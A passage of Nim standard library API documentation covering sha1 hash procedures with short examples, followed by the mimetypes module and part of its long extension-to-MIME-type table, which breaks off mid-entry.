proc `$`(self: SecureHash): string {...}{.raises: [], tags: [].} ``` Returns the string representation of a `SecureHash`. **See also:** * [secureHash proc](#secureHash,openArray%5Bchar%5D) for generating a `SecureHash` from a string **Example:** ``` let hash = secureHash("Hello World") assert $hash == "0A4D55A8D778E5022FAB701977C5D840BBC486D0" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L245) ``` proc parseSecureHash(hash: string): SecureHash {...}{.raises: [ValueError], tags: [].} ``` Converts a string `hash` to a `SecureHash`. **See also:** * [secureHash proc](#secureHash,openArray%5Bchar%5D) for generating a `SecureHash` from a string * [secureHashFile proc](#secureHashFile,string) for generating a `SecureHash` from a file **Example:** ``` let hashStr = "0A4D55A8D778E5022FAB701977C5D840BBC486D0" secureHash = secureHash("Hello World") assert secureHash == parseSecureHash(hashStr) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L258) ``` proc `==`(a, b: SecureHash): bool {...}{.raises: [], tags: [].} ``` Checks if two `SecureHash` values are identical. **Example:** ``` let a = secureHash("Hello World") b = secureHash("Goodbye World") c = parseSecureHash("0A4D55A8D778E5022FAB701977C5D840BBC486D0") assert a != b assert a == c ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/sha1.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/sha1.nim#L273) nim mimetypes mimetypes ========= This module implements a mimetypes database **Example:** ``` static: block: var m = newMimetypes() doAssert m.getMimetype("mp4") == "video/mp4" doAssert m.getExt("text/html") == "html" ## Values can be uppercase too. doAssert m.getMimetype("MP4") == "video/mp4" doAssert m.getExt("TEXT/HTML") == "html" ## If values are invalid then ``default`` is returned. doAssert m.getMimetype("INVALID") == "text/plain" doAssert m.getExt("INVALID/NONEXISTENT") == "txt" doAssert m.getMimetype("") == "text/plain" doAssert m.getExt("") == "txt" ## Register new Mimetypes. m.register(ext = "fakext", mimetype = "text/fakelang") doAssert m.getMimetype("fakext") == "text/fakelang" doAssert m.getMimetype("FaKeXT") == "text/fakelang" ``` Imports ------- <strtabs>, <strutils> Types ----- ``` MimeDB = object mimes: StringTableRef ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mimetypes.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mimetypes.nim#L15) Consts ------ ``` mimes = [("123", "application/vnd.lotus-1-2-3"), ("1km", "application/vnd.1000minds.decision-model+xml"), ("323", "text/h323"), ("3dm", "text/vnd.in3d.3dml"), ("3dmf", "x-world/x-3dmf"), ("3dml", "text/vnd.in3d.3dml"), ("3ds", "image/x-3ds"), ("3g2", "video/3gpp2"), ("3gp", "video/3gpp"), ("3gpp", "audio/3gpp"), ("3gpp2", "video/3gpp2"), ("3mf", "application/vnd.ms-3mfdocument"), ("669", "audio/x-mod"), ("726", "audio/32kadpcm"), ("7z", "application/x-7z-compressed"), ("a", "text/plain"), ("a2l", "application/a2l"), ("aa3", "audio/atrac3"), ("aab", "application/x-authorware-bin"), ("aac", "audio/x-aac"), ("aal", "audio/atrac-advanced-lossless"), ("aam", "application/x-authorware-map"), ("aas", "application/x-authorware-seg"), ("abc", "text/vnd.abc"), ("abw", "application/x-abiword"), ("ac", "application/pkix-attr-cert"), ("ac3", "audio/ac3"), ("acc", "application/vnd.americandynamics.acc"), ("ace", "application/x-ace-compressed"), ("acn", "audio/asc"), ("acu", "application/vnd.acucobol"), ("acutc", "application/vnd.acucorp"), ("acx", "application/internet-property-stream"), ("adp", "audio/adpcm"), ("aep", "application/vnd.audiograph"), ("afl", "video/animaflex"), ("afm", "application/x-font-type1"), ("afp", "application/vnd.ibm.modcap"), ("ahead", "application/vnd.ahead.space"), ("ai", "application/postscript"), ("aif", "audio/x-aiff"), ("aifc", "audio/x-aiff"), ("aiff", "audio/x-aiff"), ("aim", "application/x-aim"), ("aip", "text/x-audiosoft-intra"), ( "air", "application/vnd.adobe.air-application-installer-package+zip"), ("ait", "application/vnd.dvb.ait"), ("alc", "chemical/x-alchemy"), ("ami", "application/vnd.amiga.ami"), ("aml", "application/aml"), ("amr", "audio/amr"), ("ani", "application/x-navi-animation"), ("anx", "application/x-annodex"), ("aos", "application/x-nokia-9000-communicator-add-on-software"), ("apinotes", "text/apinotes"), ("apk", "application/vnd.android.package-archive"), ("apkg", "application/vnd.anki"), ("apng", "image/apng"), ("appcache", "text/cache-manifest"), ("appimage", "application/appimage"), ("application", "application/x-ms-application"), ("apr", "application/vnd.lotus-approach"), ("aps", "application/mime"), ("apxml", "application/auth-policy+xml"), ("arc", "application/x-freearc"), ("arj", "application/x-arj"), ("art", "message/rfc822"), ("asar", "binary/asar"), ("asc", "text/plain"), ("ascii", "text/vnd.ascii-art"), ("asf", "application/vnd.ms-asf"), ("asice", "application/vnd.etsi.asic-e+zip"), ("asics", "application/vnd.etsi.asic-s+zip"), ("asm", "text/x-asm"), ("asn", "chemical/x-ncbi-asn1-spec"), ("aso", "application/vnd.accpac.simply.aso"), ("asp", "text/asp"), ("asr", "video/x-ms-asf"), ("asx", "video/x-ms-asf"), ("at3", "audio/atrac3"), ("atc", "application/vnd.acucorp"), ("atf", "application/atf"), ("atfx", "application/atfx"), ("atom", "application/atom+xml"), ("atomcat", "application/atomcat+xml"), ("atomdeleted", "application/atomdeleted+xml"), ("atomsrv", "application/atomserv+xml"), ("atomsvc", "application/atomsvc+xml"), ("atx", "application/vnd.antix.game-component"), ("atxml", "application/atxml"), ("au", "audio/basic"), ("auc", "application/tamp-apex-update-confirm"), ("avi", "video/x-msvideo"), ("avs", "video/avs-video"), ("aw", "application/applixware"), ("awb", "audio/amr-wb"), ("axa", "audio/x-annodex"), ("axs", "application/olescript"), ("axv", "video/x-annodex"), ("azf", "application/vnd.airzip.filesecure.azf"), ("azs", "application/vnd.airzip.filesecure.azs"), ("azv", "image/vnd.airzip.accelerator.azv"), ("azw", "application/vnd.amazon.ebook"), ("azw3", "application/vnd.amazon.mobi8-ebook"), ("b", "chemical/x-molconn-Z"), ("bak", "application/x-trash"), ("bar", "application/vnd.qualcomm.brew-app-res"), ("bas", "text/plain"), ("bash", "text/shell"), ("bat", "application/x-msdos-program"), ("bcpio", "application/x-bcpio"), ("bdf", "application/x-font-bdf"), ("bdm", "application/vnd.syncml.dm+wbxml"), ("bdoc", "application/bdoc"), ("bed", "application/vnd.realvnc.bed"), ("bh2", "application/vnd.fujitsu.oasysprs"), ("bib", "text/x-bibtex"), ("bik", "video/vnd.radgamettools.bink"), ("bin", "application/octet-stream"), ("bk2", "video/vnd.radgamettools.bink"), ("bkm", "application/vnd.nervana"), ("blb", "application/x-blorb"), ("blend", "binary/blender"), ("blorb", "application/x-blorb"), ("bm", "image/bmp"), ("bmed", "multipart/vnd.bint.med-plus"), ("bmi", "application/vnd.bmi"), ("bmml", "application/vnd.balsamiq.bmml+xml"), ("bmp", "image/bmp"), ("bmpr", "application/vnd.balsamiq.bmpr"), ("boo", "application/book"), ("book", "application/book"), ("box", "application/vnd.previewsystems.box"), ("boz", "application/x-bzip2"), ("bpd", "application/vnd.hbci"), ("bpk", "application/octet-stream"), ("brf", "text/plain"), ("bsd", "chemical/x-crossfire"), ("bsh", "application/x-bsh"), ("bsp", "model/vnd.valve.source.compiled-map"), ("btf", "image/prs.btif"), ("btif", "image/prs.btif"), ("bz", "application/x-bzip"), ("bz2", "application/x-bzip2"), ("c", "text/x-csrc"), ("c++", "text/x-c++src"), ("c11amc", "application/vnd.cluetrust.cartomobile-config"), ("c11amz", "application/vnd.cluetrust.cartomobile-config-pkg"), ("c3d", "chemical/x-chem3d"), ("c3ex", "application/cccex"), ("c4d", "application/vnd.clonk.c4group"), ("c4f", "application/vnd.clonk.c4group"), ("c4g", "application/vnd.clonk.c4group"), ("c4p", "application/vnd.clonk.c4group"), ("c4u", "application/vnd.clonk.c4group"), ("cab", "application/vnd.ms-cab-compressed"), ("cac", "chemical/x-cache"), ("cache", "application/x-cache"), ("caf", "audio/x-caf"), ("cap", "application/vnd.tcpdump.pcap"), ("car", "application/vnd.curl.car"), ("cascii", "chemical/x-cactvs-binary"), ("cat", "application/vnd.ms-pki.seccat"), ("cb7", "application/x-cbr"), ("cba", "application/x-cbr"), ("cbin", "chemical/x-cactvs-binary"), ("cbor", "application/cbor"), ("cbr", "application/x-cbr"), ("cbt", "application/x-cbr"), ("cbz", "application/vnd.comicbook+zip"), ("cc", "text/plain"), ("ccad", "application/clariscad"), ("ccc", "text/vnd.net2phone.commcenter.command"), ("ccmp", "application/ccmp+xml"), ("cco", "application/x-cocoa"), ("cct", "application/x-director"), ("ccxml", "application/ccxml+xml"), ("cda", "application/x-cdf"), ("cdbcmsg", "application/vnd.contact.cmsg"), ("cdf", "application/x-netcdf"), ("cdfx", "application/cdfx+xml"), ("cdkey", "application/vnd.mediastation.cdkey"), ("cdmia", "application/cdmi-capability"), ("cdmic", "application/cdmi-container"), ("cdmid", "application/cdmi-domain"), ("cdmio", "application/cdmi-object"), ("cdmiq", "application/cdmi-queue"), ("cdr", "image/x-coreldraw"), ("cdt", "image/x-coreldrawtemplate"), ("cdx", "chemical/x-cdx"), ("cdxml", "application/vnd.chemdraw+xml"), ("cdy", "application/vnd.cinderella"), ("cea", "application/cea"), ("cef", "chemical/x-cxf"), ("cellml", "application/cellml+xml"), ("cer", "application/pkix-cert"), ("cfg", "text/cfg"), ("cfs", "application/x-cfs-compressed"), ("cgm", "image/cgm"), ("cha", "application/x-chat"), ("chat", "application/x-chat"), ("chm", "application/vnd.ms-htmlhelp"), ("chrt", "application/vnd.kde.kchart"), ("cif", "chemical/x-cif"), ("cii", "application/vnd.anser-web-certificate-issue-initiation"), ("cil", "application/vnd.ms-artgalry"), ("cl", "application/simple-filter+xml"), ("cla", "application/vnd.claymore"), ("class", "application/java-vm"), ("clkk", "application/vnd.crick.clicker.keyboard"), ("clkp", "application/vnd.crick.clicker.palette"), ("clkt", "application/vnd.crick.clicker.template"), ("clkw", "application/vnd.crick.clicker.wordbank"), ("clkx", "application/vnd.crick.clicker"), ("clp", "application/x-msclip"), ("cls", "text/x-tex"), ("clue", "application/clue_info+xml"), ("cmake", "text/cmake"), ("cmc", "application/vnd.cosmocaller"), ("cmdf", "chemical/x-cmdf"), ("cml", "chemical/x-cml"), ("cmp", "application/vnd.yellowriver-custom-menu"), ("cmsc", "application/cms"), ("cmx", "image/x-cmx"), ("cnd", "text/jcr-cnd"), ("cnf", "text/cnf"), ("cod", "application/vnd.rim.cod"), ("coffee", "application/vnd.coffeescript"), ("com", "application/x-msdos-program"), ("conf", "text/plain"), ("copyright", "text/vnd.debian.copyright"), ("cpa", "chemical/x-compass"), ("cpio", "application/x-cpio"), ("cpkg", "application/vnd.xmpie.cpkg"), ("cpl", "application/cpl+xml"), ("cpp", "text/x-c++src"), ("cpt", "application/mac-compactpro"), ("cr2", "image/x-canon-cr2"), ("crd", "application/x-mscardfile"), ("crl", "application/pkix-crl"), ("crt", "application/x-x509-ca-cert"), ("crtr", "application/vnd.multiad.creator"), ("crw", "image/x-canon-crw"), ("crx", "application/x-chrome-extension"), ("cryptonote", "application/vnd.rig.cryptonote"), ("cs", "text/c#"), ("csf", "chemical/x-cache-csf"), ("csh", "application/x-csh"), ("csl", "application/vnd.citationstyles.style+xml"), ("csm", "chemical/x-csml"), ("csml", "chemical/x-csml"), ("cson", "text/cson"), ("csp", "application/vnd.commonspace"), ("csrattrs", "application/csrattrs"), ("css", "text/css"), ("cst", "application/vnd.commonspace"), ("csv", "text/csv"), ("csvs", "text/csv-schema"), ("ctab", "chemical/x-cactvs-binary"), ("ctx", "chemical/x-ctx"), ("cu", "application/cu-seeme"), ("cub", "chemical/x-gaussian-cube"), ("cuc", "application/tamp-community-update-confirm"), ("curl", "text/vnd.curl"), ("cw", "application/prs.cww"), ("cww", "application/prs.cww"), ("cxf", "chemical/x-cxf"), ("cxt", "application/x-director"), ("cxx", "text/plain"), ("d", "text/x-dsrc"), ("dae", "model/vnd.collada+xml"), ("daf", "application/vnd.mobius.daf"), ("dart", "application/vnd.dart"), ("dat", "application/x-ns-proxy-autoconfig"), ("dataless", "application/vnd.fdsn.seed"), ("davmount", "application/davmount+xml"), ("dbk", "application/docbook+xml"), ("dcd", "application/dcd"), ("dcf", "application/vnd.oma.drm.content"), ("dcm", "application/dicom"), ("dcr", "application/x-director"), ("dcurl", "text/vnd.curl.dcurl"), ("dd", "application/vnd.oma.dd+xml"), ("dd2", "application/vnd.oma.dd2+xml"), ("ddd", "application/vnd.fujixerox.ddd"), ("ddf", "application/vnd.syncml.dmddf+xml"), ("deb", "application/vnd.debian.binary-package"), ("deepv", "application/x-deepv"), ("def", "text/plain"), ("deploy", "application/octet-stream"), ("der", "application/x-x509-ca-cert"), ("dfac", "application/vnd.dreamfactory"), ("dgc", "application/x-dgc-compressed"), ("dib", "image/bmp"), ("dic", "text/x-c"), ("dif", "video/x-dv"), ("diff", "text/x-diff"), ("dii", "application/dii"), ("dim", "application/vnd.fastcopy-disk-image"), ("dir", "application/x-director"), ("dis", "application/vnd.mobius.dis"), ("disposition-notification", "message/disposition-notification"), ("dist", "application/vnd.apple.installer+xml"), ("distz", "application/vnd.apple.installer+xml"), ("dit", "application/dit"), ("djv", "image/vnd.djvu"), ("djvu", "image/vnd.djvu"), ("dl", "video/dl"), ("dll", "application/x-msdos-program"), ("dls", "audio/dls"), ("dm", "application/vnd.oma.drm.message"), ("dmg", "application/x-apple-diskimage"), ("dmp", "application/vnd.tcpdump.pcap"), ("dms", "text/vnd.dmclientscript"), ("dna", "application/vnd.dna"), ("doc", "application/msword"), ("docjson", "application/vnd.document+json"), ("docm", "application/vnd.ms-word.document.macroenabled.12"), ("docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"), ("dor", "model/vnd.gdl"), ("dot", "text/vnd.graphviz"), ("dotm", "application/vnd.ms-word.template.macroenabled.12"), ("dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"), ("dp", "application/vnd.osgi.dp"), ("dpg", "application/vnd.dpgraph"), ("dpgraph", "application/vnd.dpgraph"), ("dpkg", "application/vnd.xmpie.dpkg"), ("dr", "application/vnd.oma.drm.rights+xml"), ("dra", "audio/vnd.dra"), ("drc", "application/vnd.oma.drm.rights+wbxml"), ("drle", "image/dicom-rle"), ("drw", "application/drafting"), ("dsc", "text/prs.lines.tag"), ("dsm", "application/vnd.desmume.movie"), ("dssc", "application/dssc+der"), ("dtb", "application/x-dtbook+xml"), ("dtd", "application/xml-dtd"), ("dts", "audio/vnd.dts"), ("dtshd", "audio/vnd.dts.hd"), ("dump", "application/octet-stream"), ("dv", "video/x-dv"), ("dvb", "video/vnd.dvb.file"), ("dvc", "application/dvcs"), ("dvi", "application/x-dvi"), ("dwf", "model/vnd.dwf"), ("dwg", "image/vnd.dwg"), ("dx", "chemical/x-jcamp-dx"), ("dxf", "image/vnd.dxf"), ("dxp", "application/vnd.spotfire.dxp"), ("dxr", "application/x-director"), ("dzr", "application/vnd.dzr"), ("ear", "binary/zip"), ("ecelp4800", "audio/vnd.nuera.ecelp4800"), ("ecelp7470", "audio/vnd.nuera.ecelp7470"), ("ecelp9600", "audio/vnd.nuera.ecelp9600"), ("ecig", "application/vnd.evolv.ecig.settings"), ("ecigprofile", "application/vnd.evolv.ecig.profile"), ("ecigtheme", "application/vnd.evolv.ecig.theme"), ("ecma", "application/ecmascript"), ("edm", "application/vnd.novadigm.edm"), ("edx", "application/vnd.novadigm.edx"), ("efi", "application/efi"), ("efif", "application/vnd.picsel"), ("ei6", "application/vnd.pg.osasli"), ("ejs", "text/ejs"), ("el", "text/plain"), ("elc", "application/x-bytecode.elisp"), ("emb", "chemical/x-embl-dl-nucleotide"), ("embl", "chemical/x-embl-dl-nucleotide"), ("emf", "image/emf"), ("eml", "message/rfc822"), ("emm", "application/vnd.ibm.electronic-media"), ("emma", "application/emma+xml"), ("emotionml", "application/emotionml+xml"), ("emz", "application/x-msmetafile"), ("ent", "text/xml-external-parsed-entity"), ("entity", "application/vnd.nervana"), ("env", "application/x-envoy"), ("enw", "audio/evrcnw"), ("eol", "audio/vnd.digital-winds"), ("eot", "application/vnd.ms-fontobject"), ("ep", "application/vnd.bluetooth.ep.oob"), ("eps", "application/postscript"), ("eps2", "application/postscript"), ("eps3", "application/postscript"), ("epsf", "application/postscript"), ("epsi", "application/postscript"), ("epub", "application/epub+zip"), ("erb", "text/erb"), ("erf", "image/x-epson-erf"), ("es", "application/ecmascript"), ("es3", "application/vnd.eszigno3+xml"), ("esa", "application/vnd.osgi.subsystem"), ("escn", "text/godot"), ("esf", "application/vnd.epson.esf"), ("espass", "application/vnd.espass-espass+zip"), ("et3", "application/vnd.eszigno3+xml"), ("etx", "text/x-setext"), ("eva", "application/x-eva"), ("evb", "audio/evrcb"), ("evc", "audio/evrc"), ("evw", "audio/evrcwb"), ("evy", "application/x-envoy"), ("exe", "application/x-msdos-program"), ("exi", "application/exi"), ("exr", "image/aces"), ("ext", "application/vnd.novadigm.ext"), ("eyaml", "text/yaml"), ("ez", "application/andrew-inset"), ("ez2", "application/vnd.ezpix-album"), ("ez3", "application/vnd.ezpix-package"), ("f", "text/x-fortran"), ("f4v", "video/x-f4v"), ("f77", "text/x-fortran"), ("f90", "text/plain"), ("fb", "application/x-maker"), ("fbdoc", "application/x-maker"), ("fbs", "image/vnd.fastbidsheet"), ("fbx", "model/filmbox"), ("fcdt", "application/vnd.adobe.formscentral.fcdt"), ("fch", "chemical/x-gaussian-checkpoint"), ("fchk", "chemical/x-gaussian-checkpoint"), ("fcs", "application/vnd.isac.fcs"), ("fdf", "application/vnd.fdf"), ("fdt", "application/fdt+xml"), ("fe_launch", "application/vnd.denovo.fcselayout-link"), ("feature", "text/gherkin"), ("fg5", "application/vnd.fujitsu.oasysgp"), ("fgd", "application/x-director"), ("fh", "image/x-freehand"), ("fh4", "image/x-freehand"), ("fh5", "image/x-freehand"), ("fh7", "image/x-freehand"), ("fhc", "image/x-freehand"), ("fif", "image/fif"), ("fig", "application/x-xfig"), ("finf", "application/fastinfoset"), ("fish", "text/fish"), ("fit", "image/fits"), ("fits", "image/fits"), ("fla", "application/vnd.dtg.local.flash"), ("flac", "audio/x-flac"), ("fli", "video/x-fli"), ("flo", "application/vnd.micrografx.flo"), ("flr", "x-world/x-vrml"), ("flv", "video/x-flv"), ("flw", "application/vnd.kde.kivio"), ("flx", "text/vnd.fmi.flexstor"), ("fly", "text/vnd.fly"), ("fm", "application/vnd.framemaker"), ("fmf", "video/x-atomic3d-feature"), ("fnc", "application/vnd.frogans.fnc"), ("fo", "application/vnd.software602.filler.form+xml"), ("for", "text/x-fortran"), ("fpx", "image/vnd.fpx"), ("frame", "application/vnd.framemaker"), ("frl", "application/freeloader"), ("frm", "application/vnd.ufdl"), ("fsc", "application/vnd.fsc.weblaunch"), ("fst", "image/vnd.fst"), ("ftc", "application/vnd.fluxtime.clip"), ("fti", "application/vnd.anser-web-funds-transfer-initiation"), ("fts", "image/fits"), ("funk", "audio/make"), ("fvt", "video/vnd.fvt"), ("fxm", "video/x-javafx"), ("fxp", "application/vnd.adobe.fxp"), ("fxpl", "application/vnd.adobe.fxp"), ("fzs", "application/vnd.fuzzysheet"), ("g", "text/plain"), ("g2w", "application/vnd.geoplan"), ("g3", "image/g3fax"), ("g3w", "application/vnd.geospace"), ("gac", "application/vnd.groove-account"), ("gal", "chemical/x-gaussian-log"), ("gam", "application/x-tads"), ("gamin", "chemical/x-gamess-input"), ("gau", "chemical/x-gaussian-input"), ("gbr", "application/rpki-ghostbusters"), ("gca", "application/x-gca-compressed"), ("gcd", "text/x-pcs-gcd"), ("gcf", "application/x-graphing-calculator"), ("gcg", "chemical/x-gcg8-sequence"), ("gdl", "model/vnd.gdl"), ("gdoc", "application/vnd.google-apps.document"), ("gemspec", "text/ruby"), ("gen", "chemical/x-genbank"), ("geo", "application/vnd.dynageo"), ("geojson", "application/geo+json"), ("gex", "application/vnd.geometry-explorer"), ("gf", "application/x-tex-gf"), ("ggb", "application/vnd.geogebra.file"), ("ggt", "application/vnd.geogebra.tool"), ("ghf", "application/vnd.groove-help"), ("gif", "image/gif"), ("gim", "application/vnd.groove-identity-message"), ("gjc", "chemical/x-gaussian-input"), ("gjf", "chemical/x-gaussian-input"), ("gl", "video/gl"), ("glb", "model/gltf-binary"), ("gltf", "model/gltf+json"), ("gml", "application/gml+xml"), ("gmx", "application/vnd.gmx"), ("gnumeric", "application/x-gnumeric"), ("go", "text/go"), ("gotmpl", "text/gotmpl"), ("gph", "application/vnd.flographit"), ("gpt", "chemical/x-mopac-graph"), ("gpx", "application/gpx+xml"), ("gqf", "application/vnd.grafeq"), ("gqs", "application/vnd.grafeq"), ("gradle", "text/groovy"), ("gram", "application/srgs"), ("gramps", "application/x-gramps-xml"), ("gre", "application/vnd.geometry-explorer"), ("groovy", "text/groovy"), ("grv", "application/vnd.groove-injector"), ("grxml", "application/srgs+xml"), ("gsd", "audio/x-gsm"), ("gsf", "application/x-font-ghostscript"), ("gsheet", "application/vnd.google-apps.spreadsheet"), ("gslides", "application/vnd.google-apps.presentation"), ("gsm", "model/vnd.gdl"), ("gsp", "application/x-gsp"), ("gss", "application/x-gss"), ("gtar", "application/x-gtar"), ("gtm", "application/vnd.groove-tool-message"), ("gtw", "model/vnd.gtw"), ("gv", "text/vnd.graphviz"), ("gxf", "application/gxf"), ("gxt", "application/vnd.geonext"), ("gyb", "text/gyb"), ("gyp", "text/gyp"), ("gypi", "text/gyp"), ("gz", "application/gzip"), ("h", "text/x-chdr"), ("h++", "text/x-c++hdr"), ("h261", "video/h261"), ("h263", "video/h263"), ("h264", "video/h264"), ("hal", "application/vnd.hal+xml"), ("hbc", "application/vnd.hbci"), ("hbci", "application/vnd.hbci"), ("hbs", "text/x-handlebars-template"), ("hdd", "application/x-virtualbox-hdd"), ("hdf", "application/x-hdf"), ("hdr", "image/vnd.radiance"), ("hdt", "application/vnd.hdt"), ("heic", "image/heic"), ("heics", "image/heic-sequence"), ("heif", "image/heif"), ("heifs", "image/heif-sequence"), ("help", "application/x-helpfile"), ("hgl", "application/vnd.hp-hpgl"), ("hh", "text/plain"), ("hin", "chemical/x-hin"), ("hjson", "application/hjson"), ("hlb", "text/x-script"), ("hlp", "application/winhlp"), ("hpg", "application/vnd.hp-hpgl"), ("hpgl", "application/vnd.hp-hpgl"), ("hpi", "application/vnd.hp-hpid"), ("hpid", "application/vnd.hp-hpid"), ("hpp", "text/x-c++hdr"), ("hps", "application/vnd.hp-hps"), ("hpub", "application/prs.hpub+zip"), ("hqx", "application/mac-binhex40"), ("hs", "text/x-haskell"), ("hta", "application/hta"), ("htc", "text/x-component"), ("htke", "application/vnd.kenameaapp"), ("html", "text/html"), ("htt", "text/webviewhtml"), ("hvd", "application/vnd.yamaha.hv-dic"), ("hvp", "application/vnd.yamaha.hv-voice"), ("hvs", "application/vnd.yamaha.hv-script"), ("hx", "text/haxe"), ("hxml", "text/haxe"), ("hxx", "text/plain"), ("i2g", "application/vnd.intergeo"), ("ic0", "application/vnd.commerce-battelle"), ("ic1", "application/vnd.commerce-battelle"), ("ic2", "application/vnd.commerce-battelle"), ("ic3", "application/vnd.commerce-battelle"), ("ic4", "application/vnd.commerce-battelle"), ("ic5", "application/vnd.commerce-battelle"), ("ic6", "application/vnd.commerce-battelle"), ("ic7", "application/vnd.commerce-battelle"), ("ic8", "application/vnd.commerce-battelle"), ("ica", "application/vnd.commerce-battelle"), ("icc", "application/vnd.iccprofile"), ("icd", "application/vnd.commerce-battelle"), ("ice", "x-conference/x-cooltalk"), ("icf", "application/vnd.commerce-battelle"), ("icm", "application/vnd.iccprofile"), ("icns", "binary/icns"), ("ico", "image/x-icon"), ("ics", "text/calendar"), ("icz", "text/calendar"), ("idc", "text/plain"), ("idl", "text/idl"), ("ief", "image/ief"), ("iefs", "image/ief"), ("ifb", "text/calendar"), ("ifm", "application/vnd.shana.informed.formdata"), ("iges", "model/iges"), ("igl", "application/vnd.igloader"), ("igm", "application/vnd.insors.igm"), ("ign", "application/vnd.coreos.ignition+json"), ("ignition", "application/vnd.coreos.ignition+json"), ("igs", "model/iges"), ("igx", "application/vnd.micrografx.igx"), ("iif", "application/vnd.shana.informed.interchange"), ("iii", "application/x-iphone"), ("ima", "application/x-ima"), ("imap", "application/x-httpd-imap"), ("imf", "application/vnd.imagemeter.folder+zip"), ("img", "application/octet-stream"), ("imgcal", "application/vnd.3lightssoftware.imagescal"), ("imi", "application/vnd.imagemeter.image+zip"), ("imp", "application/vnd.accpac.simply.imp"), ("ims", "application/vnd.ms-ims"), ("imscc", "application/vnd.ims.imsccv1p1"), ("in", "text/plain"), ("inc", "text/inc"), ("inf", "application/inf"), ("info", "application/x-info"), ("ini", "text/ini"), ("ink", "application/inkml+xml"), ("inkml", "application/inkml+xml"), ("inp", "chemical/x-gamess-input"), ("ins", "application/x-internet-signup"), ("install", "application/x-install-instructions"), ("iota", "application/vnd.astraea-software.iota"), ("ip", "application/x-ip2"), ("ipfix", "application/ipfix"), ("ipk", "application/vnd.shana.informed.package"), ("irm", "application/vnd.ibm.rights-management"), ("irp", "application/vnd.irepository.package+xml"), ("ism", "model/vnd.gdl"), ("iso", "application/x-iso9660-image"), ("isp", "application/x-internet-signup"), ("ist", "chemical/x-isostar"), ("istr", "chemical/x-isostar"), ("isu", "video/x-isvideo"), ("it", "audio/it"), ("itp", "application/vnd.shana.informed.formtemplate"), ("its", "application/its+xml"), ("iv", "application/x-inventor"), ("ivp", "application/vnd.immervision-ivp"), ("ivr", "i-world/i-vrml"), ("ivu", "application/vnd.immervision-ivu"), ("ivy", "application/x-livescreen"), ("j2", "text/jinja"), ("jad", "text/vnd.sun.j2me.app-descriptor"), ("jade", "text/jade"), ("jam", "application/vnd.jam"), ("jar", "application/x-java-archive"), ("jardiff", "application/x-java-archive-diff"), ("java", "text/x-java-source"), ("jcm", "application/x-java-commerce"), ("jdx", "chemical/x-jcamp-dx"), ("jenkinsfile", "text/groovy"), ("jfif", "image/jpeg"), ("jinja", "text/jinja"), ("jinja2", "text/jinja"), ("jisp", "application/vnd.jisp"), ("jls", "image/jls"), ("jlt", "application/vnd.hp-jlyt"), ("jl", "text/julia"), ("jmz", "application/x-jmol"), ("jng", "image/x-jng"), ("jnlp", "application/x-java-jnlp-file"), ("joda", "application/vnd.joost.joda-archive"), ("jp2", "image/jp2"), ("jpe", "image/jpeg"), ("jpeg", "image/jpeg"), ("jpf", "image/jpx"), ("jpg", "image/jpeg"), ("jpg2", "image/jp2"), ("jpgm", "image/jpm"), ("jpgv", "video/jpeg"), ("jpm", "image/jpm"), ("jps", "image/x-jps"), ("jpx", "image/jpx"), ("jrd", "application/jrd+json"), ("js", "application/javascript"), ("json", "application/json"), ("json-patch", "application/json-patch+json"), ("json5", "application/json5"), ("jsonld", "application/ld+json"), ("jsonml", "application/jsonml+json"), ("jsx", "text/jsx"), ("jtd", "text/vnd.esmertec.theme-descriptor"), ("jut", "image/jutvision"), ("kar", "audio/midi"), ("karbon", "application/vnd.kde.karbon"), ("kcm", "application/vnd.nervana"), ("key", "application/pgp-keys"), ("keynote", "application/vnd.apple.keynote"), ("kfo", "application/vnd.kde.kformula"), ("kia", "application/vnd.kidspiration"), ("kil", "application/x-killustrator"), ("kin", "chemical/x-kinemage"), ("kml", "application/vnd.google-earth.kml+xml"), ("kmz", "application/vnd.google-earth.kmz"), ("kne", "application/vnd.kinar"), ("knp", "application/vnd.kinar"), ("kom", "application/vnd.hbci"), ("kon", "application/vnd.kde.kontour"), ("koz", "audio/vnd.audikoz"), ("kpr", "application/vnd.kde.kpresenter"), ("kpt", "application/vnd.kde.kpresenter"), ("kpxx", "application/vnd.ds-keypoint"), ("ksh", "application/x-ksh"), ("ksp", "application/vnd.kde.kspread"), ("kt", "text/kotlin"), ("ktr", "application/vnd.kahootz"), ("ktx", "image/ktx"), ("ktz", "application/vnd.kahootz"), ("kwd", "application/vnd.kde.kword"), ("kwt", "application/vnd.kde.kword"), ("l16", "audio/l16"), ("la", "audio/nspaudio"), ("lam", "audio/x-liveaudio"), ("lasjson", "application/vnd.las.las+json"), ("lasxml", "application/vnd.las.las+xml"), ("latex", "application/x-latex"), ("lbc", "audio/ilbc"), ("lbd", "application/vnd.llamagraphics.life-balance.desktop"), ("lbe", "application/vnd.llamagraphics.life-balance.exchange+xml"), ("le", "application/vnd.bluetooth.le.oob"), ("les", "application/vnd.hhe.lesson-player"), ("less", "text/less"), ("lgr", "application/lgr+xml"), ("lha", "application/octet-stream"), ("lhs", "text/x-literate-haskell"), ("lhx", "application/octet-stream"), ("lin", "application/bbolin"), ("link66", "application/vnd.route66.link66+xml"), ("list", "text/plain"), ("list3820", "application/vnd.ibm.modcap"), ("listafp", "application/vnd.ibm.modcap"), ("lmp", "model/vnd.gdl"), ("lnk", "application/x-ms-shortcut"), ("log", "text/plain"), ("lostsyncxml", "application/lostsync+xml"), ("lostxml", "application/lost+xml"), ("lrf", "application/octet-stream"), ("lrm", "application/vnd.ms-lrm"), ("lsf", "video/x-la-asf"), ("lsp", "text/x-script.lisp"), ("lst", "text/plain"), ("lsx", "video/x-la-asf"), ("ltf", "application/vnd.frogans.ltf"), ("ltx", "application/x-latex"), ("lua", "text/x-lua"), ("luac", "application/x-lua-bytecode"), ("lvp", "audio/vnd.lucent.voice"), ("lwp", "application/vnd.lotus-wordpro"), ("lxf", "application/lxf"), ("lyx", "application/x-lyx"), ("lzh", "application/octet-stream"), ("lzx", 